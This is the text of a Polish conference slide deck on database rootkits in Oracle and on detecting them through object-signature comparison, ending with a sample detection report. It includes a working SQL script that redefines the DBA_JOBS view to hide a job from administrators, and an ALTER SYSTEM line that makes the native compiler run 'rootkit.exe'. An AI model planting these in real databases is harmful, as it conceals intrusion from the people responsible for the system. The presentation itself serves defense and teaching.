Rootkity w bazach danych

advertisement
Rootkity w bazach danych
sposoby ataków i obrony
autor: Przemysław Górski
Agenda







2
Rootkit - co to jest?
Podobieństwa pomiędzy OS i DB
Generacje rootkitów w bazach danych
Wykrywanie ataku
Aplikacja – omówienie
Aplikacja – przykład działania
Podsumowanie
Rootkit - co to jest?
rootkit (plural rootkits)
(computing) A set of software tools used by a
third party after gaining access to a computer
system in order to conceal the altering of files,
or processes being executed by the third party
without the user's knowledge.
Źródło :en.wiktionary.org
3
Podobieństwa pomiędzy OS i DB
Systemy operacyjne i systemy baz danych są podobne w swojej
architekturze. Obydwa posiadają:
Użytkowników
Procesy
Zadanie
Pliki
wykonywalne
Symboliczne linki
…
Bazy danych są „rodzajem systemu operacyjnego”
4
Podobieństwa pomiędzy OS i DB
Źródło: Black Hat 2006; Alexander Kornbrust
5
Generacje rootkitów bazodanowych

Pierwsza generacja
Modyfikacje w strukturach bazy danych –
modyfikacje kodu obiektów

Druga generacja
Modyfikacje dokonywane są w plikach binarnych
systemu bazy danych

Trzecia generacja
Modyfikacje dokonywane są w pamięci operacyjnej
w której składowane są obiekty bazy danych
6
Rootkit pierwszej generacji
Najprostszy atak na bazę danych Oracle:
„Insert into dual values (‘y’);”
Wady:
Natychmiastowy efekt działania
Ulepszenie:
Zastosowanie mechanizmu job’ów – skrypt ataku jest wykonywany w ustalonym
przez zakładającego job momencie.
Wada:
Ktoś może wykryć nadmiarowy job
Ulepszenie:
Ukrycie job’u przed innymi użytkownikami systemu (w szczególności przed DBA) –
zastosowanie rootkit’a pierwszej generacji
7
Rootkit pierwszej generacji
Skrypt pozwalający ukryć job:
CREATE OR REPLACE VIEW DBA_JOBS
(JOB, LOG_USER, PRIV_USER, SCHEMA_USER, LAST_DATE,
LAST_SEC, THIS_DATE, THIS_SEC, NEXT_DATE, NEXT_SEC,
TOTAL_TIME, BROKEN, INTERVAL, FAILURES, WHAT,
CURRENT_SESSION_LABEL, CLEARANCE_HI, CLEARANCE_LO, NLS_ENV, MISC_ENV)
AS
select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
LAST_DATE, substr(to_char(last_date,'HH24:MI:SS'),1,8) LAST_SEC,
THIS_DATE, substr(to_char(this_date,'HH24:MI:SS'),1,8) THIS_SEC,
NEXT_DATE, substr(to_char(next_date,'HH24:MI:SS'),1,8) NEXT_SEC,
(total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
decode(mod(FLAG,2),1,'Y',0,'N','?') BROKEN,
INTERVAL# interval, FAILURES, WHAT,
cur_ses_label CURRENT_SESSION_LABEL, CLEARANCE_HI, CLEARANCE_LO,
nlsenv NLS_ENV, env MISC_ENV
from sys.job$ j
where job <> 7
/
8
Rootkit pierwszej generacji
Istnieje kilka dróg przez które można stworzyć rootkit’a
pierwszej generacji. Najczęściej stosowanymi w tym
celu środkami są:
 modyfikacja obiektów w bazie danych
 zmiana ścieżki wykonywania poleceń
 zmiana zapytania SQL wykorzystując mechanizm
wirtualnych prywatnych baz danych (VPD)
9
Rootkit drugiej generacji
Przykład modyfikacji pliku binarnego w celu ukrycia użytkownika.
Źródło: Black Hat 2006; Alexander Kornbrust
10
Rootkit trzeciej generacji
Działanie kodu rootkita odbywa się tylko w pamięci operacyjnej, do której
dostęp jest możliwy tylko z poziomu systemu operacyjnego. Uruchomienie
kodu rootkita może jednak nastąpić z poziomu bazy danych.
W tym celu wykorzystany może być mechanizm pozwalający na
kompilacje kodu procedur PL/SQL z wykorzystaniem natywnych
kompilatorów systemu operacyjnego.
ALTER SYSTEM set plsql_native_make_utility=‘rootkit.exe’;
11
Wykrywanie ataku
Zaimplementowany sposób wykrywania ataku opiera się porównaniu
dwóch zestawów obliczonych sygnatur obiektów poddanych kontroli.
Sygnatura obiektu jest to zestaw nie powtarzalnych cech obiektu, nie
zmiennych w czasie oraz powiązanych z funkcjonalnością obiektu.
Przykład:
obiektu o typie SYNONYM– jako sygnatura obiektu brana pod uwagę jest
nazwa obiektu typ obiektu oraz nazwa obiektu do którego synonim się
odnosi
obiektu o typie TABLE – jako sygnatura to nazwa tabeli oraz nazwy
kolumn, typy danych w kolumnach oraz długość danych
przechowywanych w poszczególnych kolumnach.
12
Aplikacja – założenia
Przykładowe funkcje bezpieczeństwa realizowane przez aplikację są
następujące:
Sprawdzanie
obiektów przechowywanych w bazie danych
Sprawdzanie pakietów systemowych
Sprawdzanie synonimów
Sprawdzanie job’ów
Sprawdzanie triggerów
Sprawdzanie wykorzystania wrażliwych pakietów
Przykładowe założenia realizacyjne funkcji bezpieczeństwa:
Funkcje
bezpieczeństwa wykonuje pakiet PL/SQL eksportowany za każdym uruchomieniem
mechanizmu monitorowania do monitorowanej instancji bazy danych
Przechowywanie wyników działania programu poza monitorowanymi instancjami baz danych
lub wręcz przechowywanie wyników poza bzami danych.
13
Aplikacja - działanie
Architektura aplikacji
14
Aplikacja - działanie
Sposób działania aplikacji
15
Aplikacja – przykład działania
Uruchomienie aplikacji w trybie pobranie sygnatur referencyjnych
• Zasymulowanie działania rootkita po przez zainstalowanie widoku DBA_JOBS ze zmienionym
kodem
• Uruchomienie aplikacji w trybie porównania zbiorów sygnatur
•Wynik:
<Report_List>
<DBObject>
<ObjectID>78</ObjectID>
<ObjectRefName> DBA_JOBS</ObjectRefName>
<ObjectRefType>View</ObjectRefType>
<Reason>Nie zgadzająca się wartość funkcji skrótu</Reason>
<ObjectRefHash>36fe2e8339e715ed4e17f1d09d9532bb</ObjectRefHash>
<ObjectCountHash>36fe2e8339e715ed4e17f1d09d9532bc</ObjectCountHash>
</DBObject>
</Report_List>
•
16
Szerszy kontekst

Monitorowanie spójności środowisk w
organizacji
–
–
–

17
Wprowadzanie nie autoryzowanych poprawek do
kodu aplikacji
Kontrola działalności DBA na bazach danych
Funkcja kontrolna Release and Deployment
Management
Centralizacja wiedzy o stanie środowisk w
organizacji
Dalsze możliwe drogi rozwoju aplikacji





18
Automatyczne sprawdzanie środowisk
Możliwość definicji wyjątków
Dodanie możliwości sprawdzania danych w
określonych tabelach
Zwiększenie wydajności
Centralizacja nadawania i kontroli uprawnień
Dziękuję za uwagę
Pytania
19
Download